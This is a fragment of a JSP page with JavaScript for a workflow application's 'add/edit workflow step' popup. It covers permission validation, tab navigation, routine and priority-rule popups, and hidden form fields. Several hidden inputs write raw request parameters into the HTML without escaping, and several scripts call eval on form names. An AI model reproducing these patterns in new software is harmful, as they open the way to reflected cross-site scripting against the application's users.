		for (var index = 0; index < arrayOfStr.length; index++) {
		  if (arrayOfStr[index].length > 0) {
				if (arrayOfStr[index].charAt(arrayOfStr[index].length-1) == '\r') {
					  arrayOfStr[index] = arrayOfStr[index].substring(0, arrayOfStr[index].length - 1);
				}
				var tmpAry = arrayOfStr[index].split("\t");
				allPermissionAry[allPermissionAry.length] = tmpAry;
			 }
		}
		
		//check this arrary 
		var flag=true;
		var hasEveryone=false;
		var everyOne="<bean:message key='workflow.label.everyone'/>";
		var userCount=0;
		for(var index=0;index<arrayOfStr.length-1;index++){
			//subject type is user group or user role
			if(allPermissionAry[index][2]==group || allPermissionAry[index][2]==role){
				flag=false;
			}
			//subject type is user account or special actor
			if(allPermissionAry[index][2]==user || allPermissionAry[index][2]==specialActor){
				userCount+=1;
			}
			if(allPermissionAry[index][1]==everyOne){
				hasEveryone=true;
			}
		}
		/**********bill disable for  EIP-1355*************
		if(allPermissionAry.length==0)
		{
			return false;
		}
		**************************************************/
		//Everyone option is exist
		if(hasEveryone){
			if((!flag) && userCount==0 || userCount >2){
				return false;
			}
			if(userCount == 2){
				return true;
			}
		}else{
			if((!flag) && userCount==0 || userCount >1){
				return false;
			}
			if(userCount == 1){
				return true;
			}
		}
	//bill add for EIP-1170 end
	
	 if (arrayOfStr.length<=2){
	   return true;
	 }
	return false ;
}

 function setAllowAssignDueDateValue(frm){
   if(frm.overDueType[3].checked){
     if(frm.dynamicAssignDueDateMandtory.checked){
       frm.allowAssignDueDate.value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>";
     } else {
       frm.allowAssignDueDate.value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE%>";
     }
   }
 }


 function hideMagnifierIcon(){
   if(document.maintWorkflowStepForm.allowAssignPriority){
     if(document.maintWorkflowStepForm.allowAssignPriority.checked){
       showBlock("setPriorityRule");
     }else {
       hideBlock("setPriorityRule");
       document.maintWorkflowStepForm.priorityRuleListValue.value = "";
     }
   }
 }

 function hideBlock(b) {
   if(FindObj(b)){
    FindObj(b).style.display = "none";
  }
 }

 function showBlock(b) {
   if(FindObj(b)){
    FindObj(b).style.display = "block";
  }
 }

 function toggleBlock(b) {
   if(FindObj(b)){
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }
  }
 }


function isDigitDeplay() 
{ 
var patrn=/^[1-9]\d*$/; 
var value = document.maintWorkflowStepForm.delay.value;
if (value&&trim(value)!=""&&!patrn.exec(trim(value))) 
{
alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "error.automatictask.label.autoTaskDelay")%>');
document.maintWorkflowStepForm.delay.focus();
document.maintWorkflowStepForm.delay.select();
}
} 
function CheckInputPassword(e) {
    var code;
    if (!e) var e = window.event;
    if (e.keyCode) code = e.keyCode;
    else if (e.which) code = e.which;
 }

function checkCanSelect(currentStepID,ele){
   if(ele){
     if(ele.checked){
	    var selectedID= ele.value.split("-")[1];
		var afterIDs = null;
		if(ele.name)
		    afterIDs=document.getElementsByName(ele.name);
         else
            afterIDs=document.getElementsByName(ele.id);
		var afterStepValues = new Array();
		for(i=0;i<afterIDs.length;i++){
		  if(afterIDs[i].checked&&afterIDs[i]!=ele){
		     var afterStepValue = afterIDs[i].value.split("-")[1];
             afterStepValues.push(afterStepValue);
		  }

		}

        WorkflowAjaxProcessor.checkIfCanMerged(currentStepID,selectedID,afterStepValues,function(data){
			if(data=="N"){
			   ele.checked=false;
			   alert("<bean:message key='errors.workflow.step_cannot_link_to'/>");
			}
		
		});
	 }
   }
   return false;
}

var prePannel = null;
var nextPannel = null;
var currentIndex = 0;

additionalFunctionOnSelected=function(layers,pannelID,selectedIndex){
  if(selectedIndex==0){
    //show nextButton,hide preButton and saveButton
    hideButton('nextButton',false);
    hideButton('preButton',true);
    hideButton('saveButton',true);
    nextPannel=layers[selectedIndex+1];
  }else if(selectedIndex==layers.length-1){
    hideButton('nextButton',true);
    hideButton('preButton',false);
    hideButton('saveButton',false);
    prePannel=layers[selectedIndex-1];
  }else if(layers.length==4){
    if(selectedIndex==1){
    hideButton('nextButton',false);
    hideButton('preButton',false);
    hideButton('saveButton',true);
    }else{
    hideButton('nextButton',false);
    hideButton('preButton',false);
    hideButton('saveButton',false);
    }
    nextPannel=layers[selectedIndex+1];
    prePannel=layers[selectedIndex-1];
  }else{
    hideButton('nextButton',false);
    hideButton('preButton',false);
    hideButton('saveButton',false);
    nextPannel=layers[selectedIndex+1];
    prePannel=layers[selectedIndex-1];
  }
}

hideButton = function(id,hide){
  var button = document.getElementById(id);
  if(button){
    if(hide){
      button.style.display="none";
    }else{
      button.style.display="block";
    }
  }
}

additionalFunctionOnUnSelected = function(layers,pannelID,tabIndex){
   if(tabIndex<currentIndex){
   //not select a pannel
   changeStyleClass(FindObj(pannelID+'Pane'), 'visited');
   }else{
   //ready select a pannel
   changeStyleClass(FindObj(pannelID+'Pane'), 'normal');
   }
}

doPre = function(){
  currentIndex--;
  showTab('tab1',prePannel.id,'');
}
doNext= function(){
  currentIndex++;
  showTab('tab1',nextPannel.id,''); 
}

-->
</script>
<html:form action="workflow/MaintWorkflowStep.do" styleClass="form-style-2">
	<input type="hidden" name="typetext" value='<bean:message key="setup.label.special_actor"/>'/>
    <input type="hidden" name="typevalue" value="O"/>
<html:javascript formName="maintWorkflowStepForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  WorkflowRecord wfRecord = (WorkflowRecord) request.getAttribute("workflowRecord");
%>

<%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
<script language="javascript">
<!--
  window.opener.parent.document.location = "MaintWorkflowRecord.do?navMode=E&ID=<%=maintWorkflowStepForm.getWorkflowRecordID()%>&wfGroupID=<%=maintWorkflowStepForm.getWorkflowGroupID()%>";
  window.close();
//-->
</script>
<%}%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='workflowRecordID'/>
<html:hidden property='parentType'/>
<html:hidden property='parentStepID'/>
<html:hidden property='currentType' />
<html:hidden property='currentStepID' value='<%=sCurrentStepID%>'/>
<html:hidden property='workflowGroupID'/>
<html:hidden property='categoryID'/>



<input type=hidden name="operationType" value="<%=operationType%>">
<input type="hidden" name="parentStepActionType" value='<%=request.getParameter("parentStepActionType")%>'>
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">
<input type="hidden" name="notificationRuleListValue" value="<%=maintWorkflowStepForm.getNotificationRuleListValue()%>">
<input type="hidden" id="notifyOwnerTaskArrivalByMail" name="notifyOwnerTaskArrivalByMail" value='<%=maintWorkflowStepForm.getNotifyOwnerTaskArrivalByMail()%>'/>
<input type="hidden" id="notifyOwnerTaskArrivalBySystem" name="notifyOwnerTaskArrivalBySystem" value='<%=maintWorkflowStepForm.getNotifyOwnerTaskArrivalBySystem()%>'/>
<input type="hidden" id="notifyAllTaskCompletedByMail" name="notifyAllTaskCompletedByMail" value='<%=maintWorkflowStepForm.getNotifyAllTaskCompletedByMail()%>'/>
<input type="hidden" id="notifyAllTaskCompletedBySystem" name="notifyAllTaskCompletedBySystem" value='<%=maintWorkflowStepForm.getNotifyAllTaskCompletedBySystem()%>'/>
<input type="hidden" id="notifyOwnerTaskOverdueByMail" name="notifyOwnerTaskOverdueByMail" value='<%=maintWorkflowStepForm.getNotifyOwnerTaskOverdueByMail()%>'/>
<input type="hidden" id="notifyOwnerTaskOverdueBySystem" name="notifyOwnerTaskOverdueBySystem" value='<%=maintWorkflowStepForm.getNotifyOwnerTaskOverdueBySystem()%>'/>
<input type="hidden" id="notifyAllTaskOverdueByMail" name="notifyAllTaskOverdueByMail" value='<%=maintWorkflowStepForm.getNotifyAllTaskOverdueByMail()%>'/>
<input type="hidden" id="notifyAllTaskOverdueBySystem" name="notifyAllTaskOverdueBySystem" value='<%=maintWorkflowStepForm.getNotifyAllTaskOverdueBySystem()%>'/>

<input type="hidden" name="stepActionType" value="<%=stepActionType%>">
<input type="hidden" name="currentStepActionType" value='<%=request.getParameter("currentStepActionType")%>'>
<input type="hidden" name="loopBackOnEndStep" value='<%=request.getParameter("loopBackOnEndStep")%>'>

<%if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
<layout:popupTitle titleKey ="workflow.label.edit_step"/>
<%}else{%>
<layout:popupTitle titleKey ="workflow.label.add_step"/>
<%}%>

<table width="100%" cellpadding="0" cellspacing="0" border="0" align="left" bgcolor="#FFFFFF">

<%if (!WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType)) {%>
<%if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) ||
      (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && WorkflowStep.INSERT_LOOPBACK_STEP.equals(maintWorkflowStepForm.getInsertStepType()) )) {%>
  <tr><td><html:img src='LayoutSpacer.gif'  width='1px' height='5px'/></td></tr>
  <tr>
    <td>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td nowrap><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_LOOPBACK_STEP%>' onclick='getRefreshForm();'/><bean:message key='workflow.label.loop_back'/>:
           <% // falcon_add_5794
            Integer childStepID = null; 
            MtmWorkflowStepWorkflowStepDAObject wfStepStepDAObject = new MtmWorkflowStepWorkflowStepDAObject(sessionContainer, conn);
            if(!Utility.isEmpty(maintWorkflowStepForm.getParentStepID()) && !Utility.isEmpty(maintWorkflowStepForm.getParentType())){
            List wfStepStepList = wfStepStepDAObject.getListByParentStepIDAndParentType(new Integer(maintWorkflowStepForm.getParentStepID()),maintWorkflowStepForm.getParentType());
            for(int i=0;i<wfStepStepList.size();i++){
              MtmWorkflowStepWorkflowStep wfStepStep = (MtmWorkflowStepWorkflowStep)wfStepStepList.get(i);
              if(!Utility.isEmpty(wfStepStep.getChildStepID())){
                childStepID = wfStepStep.getChildStepID();
                }
              }
            }
            %> 
			<html:select property='loopBackStepID' onchange='checkCanLoopBack(this);'>
              <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_STEP%>' listArg1='<%=maintWorkflowStepForm.getWorkflowRecordID()%>' listArg2='<%=Utility.isEmpty(maintWorkflowStepForm.getParentStepID()) ? "" : maintWorkflowStepForm.getParentStepID().toString()%>' listArg3 = '<%=childStepID%>' />
            </html:select>
            <%if (maintWorkflowStepForm.isHaveColloCantSteps()) {%>
            <bean:message key='workflow.label.loopback_all_branches'/>: &nbsp;<html:radio property='loopBackALLOffset' value='<%=GlobalConstant.FALSE%>'/><bean:message key="common.label.no"/>
            <html:radio property='loopBackALLOffset' value='<%=GlobalConstant.TRUE%>'/><bean:message key="common.label.yes"/>
            <%}%>
          </td>
        </tr>
      <%if (Utility.isEmpty(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) {%>
        <tr>
          <td nowrap><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_END_STEP%>' onclick='getRefreshForm();'/><bean:message key='workflow.label.insert_end_step'/>
          </td>
        </tr>
      <%}%>
      </table>
    </td>
  </tr>
<%}%>
  
  <tr>
    <td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
<%if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) {
//modify by nancy
%>
<td nowrap><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_NEW_STEP%>' onclick='getRefreshForm();'/><bean:message key='workflow.label.insert_new_step'/></td>

<%//end
} else {%>
          <td nowrap><html:hidden property='insertStepType' value='<%=WorkflowStep.INSERT_NEW_STEP%>'/></td>
<%}%>

      
        </tr>
      </table>
    </td>
  </tr>
  <!--loopback type end-->
<%} else {%>
<!-- Insert Step Between Bengin -->
<%if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) ||
      (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && WorkflowStep.INSERT_LOOPBACK_STEP.equals(maintWorkflowStepForm.getInsertStepType()) )) {%>
  <tr style="display:none">
    <td >
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td nowrap><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_LOOPBACK_STEP%>' onclick='return disableAllNewStepInfo(this.form, true);'/><bean:message key='workflow.label.loop_back'/>:
            <html:select property='loopBackStepID' onchange='javascript:return disableAllNewStepInfo(this.form, true);getRefreshForm();'>
              <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_STEP%>' listArg1='<%=maintWorkflowStepForm.getWorkflowRecordID()%>' listArg2='<%=Utility.isEmpty(maintWorkflowStepForm.getParentStepID()) ? "" : maintWorkflowStepForm.getParentStepID().toString()%>'/>
            </html:select>
            <%if (maintWorkflowStepForm.isHaveColloCantSteps()) {%>
            <bean:message key='workflow.label.loopback_all_branches'/>: &nbsp;<html:radio property='loopBackALLOffset' value='<%=GlobalConstant.FALSE%>'/><bean:message key="common.label.no"/>
            <html:radio property='loopBackALLOffset' value='<%=GlobalConstant.TRUE%>'/><bean:message key="common.label.yes"/>
            <%}%>
          </td>
        </tr>
      <%if (Utility.isEmpty(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) {%>
        <tr>
          <td nowrap><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_END_STEP%>' onclick='return disableAllNewStepInfo(this.form, true);'/><bean:message key='workflow.label.insert_end_step'/>
          </td>
        </tr>
      <%}%>
      </table>
    </td>
  </tr>
<%}%>

 
  <tr>
    <td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
<%if (GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) { %>
          <td nowrap  style="display:none"><html:radio property='insertStepType' value='<%=WorkflowStep.INSERT_NEW_STEP%>' onclick='return disableAllNewStepInfo(this.form, false);'/><bean:message key='workflow.label.insert_new_step'/>:</td>
<%} else {%>
          <td nowrap><html:hidden property='insertStepType' value='<%=WorkflowStep.INSERT_NEW_STEP%>'/></td>
<%}%>
        </tr>
      </table>
    </td>
  </tr>
<%}%>
<!-- Insert Step Between End    -->
<!--modify by nancy-->
<tr>
<td>

<!-- =======================================tab container start =============================== -->
 <layout:tabContainer id="tab1">
 <layout:tabBar styleClass="tabBar_sequence">
 <layout:tabPane id="basicTab" title="workflow.label.workflow_step_basic_information" selected="true" clickAbled="false"/> 
  <%
  if(WorkflowStep.INSERT_NEW_STEP.equals(maintWorkflowStepForm.getInsertStepType())){//added by nancy
  if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType())  ) {//modify by nancy  %>
    <%if(!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())&& (!SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(maintWorkflowStepForm.getCategoryID()) || !WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()))){%>
    
	<!-- ===========================permissionTab=========================== -->
	<layout:tabPane id="permissionTab" title="workflow.label.workflow_step_user_involve" clickAbled="false"/>
    <%}%>
  <%}%>
  
    <%if (categoryID == Integer.parseInt(SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM) &&
          !WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) &&
          !WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1)) &&
          !WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()) ) {%>

    <!-- ===========================miscellaneous tab==============================-->
    <layout:tabPane id="bindTab" title="workflow.label.workflow_step_form_element" clickAbled="false"/>
    <%}%>
     
  <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
    <%if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) && !WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1))) {%>
    
	<!-- ===========================notifaction tab==============================-->
	<layout:tabPane id="notificationTab" title="workflow.label.workflow_step_notification" clickAbled="false"/>
    <%}%>
  <%}%>

  <%}
  //added%>
 </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab"  class="tabContent">
<span class="altBar"><bean:message key="workflow.message.workflow_step_basic_information"/>.</span>
<table width="100%">
  <layout:sectionHeader blackLine="false"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.step_seq'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())||(WorkflowStep.END_STEP_SEQ_NO.toString().equals(maintWorkflowStepForm.getStepSeq()))){ %>
    <html:integer property='stepSeq' size='5' readonly='true' maxlength='9'/>
    <%}else{%>
    <html:integer property='stepSeq' maxlength='5'styleClass="form-style-2-short-textfield"/>
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.step_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='stepName'  maxlength='100' styleClass="form-style-2-long-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.step_type'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ){ %>
      <bean:message key='workflow.label.step_type_S'/>
      <html:hidden property='actionType'/>
    <%} else if (WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()) ){ %>
      <bean:message key='workflow.label.step_type_E'/>
      <html:hidden property='actionType'/>
    <%} else {%>
      <html:select property='actionType' onchange='isTransformStepType();' textOnly='<%=wfRecord!=null && GlobalConstant.RECORD_RELEASED.equals(wfRecord.getStatus())%>' styleClass="form-style-2-pulldown">
        <html:options stringArray='<%=(String[][])request.getAttribute("workflowStepTypes")%>' nowrap='true' convertLabel='false' hasSelect='false'/>
      </html:select>
    <%}%>


   <%//added by nancy
  if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1))&&
  !Utility.isEmpty(maintWorkflowStepForm.getParameterListValue())) {%>
      <script language="javascript">

      <!--
        function putParemeterList(formName, sValue) {
          frm = eval('document.forms["'+formName+'"]');
          frm.parameterListValue.value = unescape(sValue);
          return false;
        }

        function popupParameterList(idField) {
          var frm;
          var height;
          var width;
          var windowName;
          var sPopupPath = "<%=request.getContextPath()%>/workflow/MaintWorkflowStepParameter.do?SHOW_HEADER_FOOTER=N&opMode=E&actionType=<%=maintWorkflowStepForm.getActionType()%>";
          var sOptions = 'location=no,scrollbars=no,menubar=no,status=no,resizable=1';//left=80 top=80

          var oldTarget = "";
          var oldAction= "";

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
          oldTarget = frm.target;
          oldAction = frm.action;

          height = 450;
          width = 550;
          windowName = "SetParameterList";
          var frmObj = eval('frm.'+idField);

          OpenCenteredPopup('about:blank', windowName, width, height, sOptions);
          frm.target = windowName;
          frm.action="MaintWorkflowStepParameter.do?SHOW_HEADER_FOOTER=N&opMode=E&actionType=<%=maintWorkflowStepForm.getActionType()%>&isReleased=<%=maintWorkflowStepForm.isReleased()%>";
          frm.submit();
          frm.target = oldTarget;
          frm.action = oldAction;
          return(false);
        }



      //-->
      </script>
      <a href="javascript://" onclick="return popupParameterList('parameterListValue');"><html:img src="IconSearchStaff.gif"  /></a>
      <html:hidden property='parameterListValue'/>

    <%

    }
    //end
    %>


    <!-- Workflow Step Routine List Begin -->
    <%if ( WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType()) ) {%>
<script language="javascript">
<!--

function initTiggerType(frm,arrflag){
 // var str=document.maintMtmWfStepNotificationRuleForm.notifyTrigger.options[1].text;

for (var j=0 ;j<10;j++){

	for (i = 0; i < frm.notifyTrigger.options.length; i++) {
		if ((frm.notifyTrigger.options[i].value.indexOf("S")==0) && (frm.notifyTrigger.options[i].value.length>1)){
			if (frm.notifyTrigger.options[i]){
			   frm.notifyTrigger.options[i]=null;
			 }
				
			}
		
	}
}

	//with (frm){	
  	if (arrflag.length>1){
  		for (i = 0; i < arrflag.length-1; i++) {
  		  	/*var tmpOption=document.createElement('option');
					tmpOption.value="S"+i;
					tmpOption.text=arrflag[i];
  		  	frm.notifyTrigger.add(tmpOption);*/
            AddOption(frm.notifyTrigger,arrflag[i],"S"+i,false);
			}
  		}  	
  //}

  }
function putRouteList(formName, sValue) {
          var decisionValueArr;
          frm = eval('document.forms["'+formName+'"]');
          frm.routeListValue.value = unescape(sValue);
          decisionValueArr = sValue.split("|");
		  initTiggerType(frm,decisionValueArr);
          if(frm.followBranch){
            
            //remove the old options
            for ( var i=frm.followBranch.length-1 ; i>-1; i--){
              frm.followBranch.options[i] = null;
            }

            //add the new options
            for(var i=0; i<decisionValueArr.length-1; i++){
              AddOption(frm.followBranch,decisionValueArr[i],"S"+i,false);
            }
          }
          populateAfterDueAction(formName, sValue);
          return false;
        }

         function popupRoutineList(idField) {
          var frm;
          var height;
          var width;
          var windowName;
          var sPopupPath = "<%=request.getContextPath()%>/workflow/MaintWorkflowStepRoutine.do";
          var sOptions = 'location=no,scrollbars=yes,menubar=no,status=no,resizable=1,width=650,height=450';//left=80 top=80

          var oldTarget = "";
          var oldAction= "";

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
          oldTarget = frm.target;
          oldAction = frm.action;

          height = 450;
          width = 650;
          windowName = "DCIVisionPopupRoutineList";
          var frmObj = eval('frm.'+idField);

          //OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStepRoutine.do?SHOW_HEADER_FOOTER=N&routeListValue="+frm.routeListValue.value+"&formName="+frm.name+"&idField="+idField, windowName, width, height, "scrollbars=yes");
          //window.open(sPopupPath, windowName, sOptions);
          OpenCenteredPopup('about:blank', windowName, width, height, sOptions);
          frm.target = windowName;
          frm.action="MaintWorkflowStepRoutine.do?SHOW_HEADER_FOOTER=N&opMode=<%=GlobalConstant.OP_MODE_REFRESH%>&isReleased=<%=maintWorkflowStepForm.isReleased()%>";
          frm.submit();
          frm.target = oldTarget;
          frm.action = oldAction;
          return(false);
        }

         function populateAfterDueAction ( formName, sValue ) {
           frm = eval('document.forms["'+formName+'"]');
           decisionValueArr = sValue.split("|");
           var opt0 = frm.onNoResponseAction.options[0];
           var opt1 = frm.onNoResponseAction.options[1];
           var opt2= frm.onNoResponseAction.options[frm.onNoResponseAction.length-2];
           var opt3 = frm.onNoResponseAction.options[frm.onNoResponseAction.length-1];
           //remove the old options
           for ( var i=frm.onNoResponseAction.length-1 ; i>-1; i--){
             frm.onNoResponseAction.options[i] = null;
           }
           //add the new options
           AddOption(frm.onNoResponseAction,opt0.text, opt0.value, false);
           AddOption(frm.onNoResponseAction,opt1.text, opt1.value, false);
           for(var i=0; i<decisionValueArr.length-1; i++){
             // TODO: Runtime get the "U"
             var s = '<bean:message key="workflow.label.action_after_due_U" arg0=''/>';
             AddOption(frm.onNoResponseAction,s.replace('[]','['+decisionValueArr[i]+']'),"U"+i,false);
           }
           AddOption(frm.onNoResponseAction,opt2.text, opt2.value, false);
           AddOption(frm.onNoResponseAction,opt3.text, opt3.value, false);
         }

		 function putFormDriverList(idField,value){
		   //
		 }
      //-->
      </script>
            <a href="javascript://" onclick="return popupRoutineList('routineListValue');"><html:img src="IconSearchStaff.gif"  /></a>
      <html:hidden property='routeListValue'/>
    <%}%>
    <!-- Workflow Step Routine List End. -->

    <!-- Form Equation For Form Value Driven Task Begin -->
    <%if ( WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) ) {%>
      <script language="javascript">
      <!--
        function putFormEquation(formName, formEquationListValue) {
          frm = eval('document.forms["'+formName+'"]');
          frm.formEquationListValue.value = unescape(formEquationListValue);
          if(frm.followBranch){
            var formDriverValueArr =formEquationListValue.split("$$"); 
            //remove the old options
            for ( var i=frm.followBranch.length-1 ; i>-1; i--){
              frm.followBranch.options[i] = null;
            }
            //add the new options
            for(var i=0; i<formDriverValueArr.length; i++){
				var formDriverElement=formDriverValueArr[i].split(";");
                AddOption(frm.followBranch,formDriverElement[0],"S"+i,false);
            }
          }
		  return false;
        }

        function popupFormEquation() {
          var frm;
          var height;
          var width;
          var windowName;
          var sPopupPath = "<%=request.getContextPath()%>/workflow/MaintWorkflowStepFormEquat.do";
          var sOptions = 'location=no,scrollbars=yes,menubar=no,status=no,resizable=1,width=700,height=600';//left=80 top=80
          var oldTarget;
          var oldAction;

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

          height = 600;
          width = 700;
          windowName = "DCIVisionPopupRoutineList";
          oldTarget = frm.target;
          oldAction = frm.action;
          
          OpenCenteredPopup('about:blank', windowName, width, height, sOptions);
          frm.target = windowName;
          frm.action = "MaintWorkflowStepFormEquat.do?SHOW_HEADER_FOOTER=N&opMode=REFRESH&workflowRecordID="+<%=maintWorkflowStepForm.getWorkflowRecordID()%> + "&isReleased="+<%=maintWorkflowStepForm.isReleased()%>;
          frm.submit();
          frm.target = oldTarget;
          frm.action = oldAction;

          return(false);
        }

      //-->
      </script>
      <a href="javascript://" onclick="return popupFormEquation();"><html:img src="IconSearchStaff.gif"  /></a>
      <html:hidden property='formRecordID'/>
      <html:hidden property='formEquationListValue'/> 
    <%}%>
    <!-- Form Equation For Form Value Driven Task End. -->
    </td>
  </tr>
  <!--TC.ADD FOR FORM DRIVERN DRIVER-->
  <%if ( WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) ) {%>
  <%if(WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType)){%>
  <tr>
  <td class="formLabelSmallMan"><bean:message key='workflow.label.follow_branch'/>:&nbsp;</td>
  <td class="formFieldSmall"><select name="followBranch" class="form-style-2-pulldown"><option value="">==select==</option></select></td>
  </tr>
  <%}}%>
 <!--TC.END-->
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key='workflow.label.step.instruction'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:dynamicTextarea property='description' rows='4' cols='60' textlimit='500' styleClass="form-style-2-big-textarea"/></td>
  </tr>
  
 <!-- rule set -->
  <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())) {
   String showMiscPannelStyle = "display:none;";
   
   if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) &&
	          !WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1))
	          ) {
	   showMiscPannelStyle = "";
   }
    %>
  <script language="javascript">
 <!--
  function popupSetPriorityRule(idField){
    var height;
    var width;
    var windowName;

    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }

    height = 450;
    width = 700;
    windowName = "DCIVisionPopupSetPriorityRule";
    var frmObj = eval('frm.'+idField);

    OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStepPriorityRule.do?SHOW_HEADER_FOOTER=N&priorityRuleListValue="+frm.priorityRuleListValue.value+"&formName="+frm.name+"&idField="+idField, windowName, width, height, "scrollbars=yes");
    return(false);

  }

  function setPriorityRule(formName,priorityRuleListValue) {
    frm = eval('document.forms["'+formName+'"]');
    frm.priorityRuleListValue.value = unescape(priorityRuleListValue);
    return false;

  }
  
  function toggleParentStepsPannel(frm,field){
    var pannel = document.getElementById("parnetStepsPannel");
    if(field.checked==true){
      pannel.style.display="block";
    }else{//parentStepIDs
      selectCount = 0;
      hasMulityParent = false;
      
      for(i=0;i<frm.parentStepIDs.length;i++){
        if(frm.parentStepIDs[i].checked==true){
          selectCount++;
          if(selectCount>1){
            hasMulityParent = true;
            break;
          }
        }
      }
      
      if(hasMulityParent){
        field.checked==true;
      }else{
        pannel.style.display="none";
      }
    }
  }
//-->
</script>

 <%if (!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())) {%>
  <!-- Workflow Rule Begins -->
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_rule'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='workflowRule' size='5' maxlength='100' onblur='checkRule(checkRuleResult);' styleClass="form-style-2-short-textfield"/> 
	<bean:message key='workflow.label.rule_desc'/><span id="workflowRuleError"></span></td>
  </tr>
  <!-- Workflow Rule End -->

 <!-- Priority: High Medium Low Begin    -->
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmall"><bean:message key='workflow.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall">
	  <div style="float:left;width:180px;border:0px solid #cccccc">
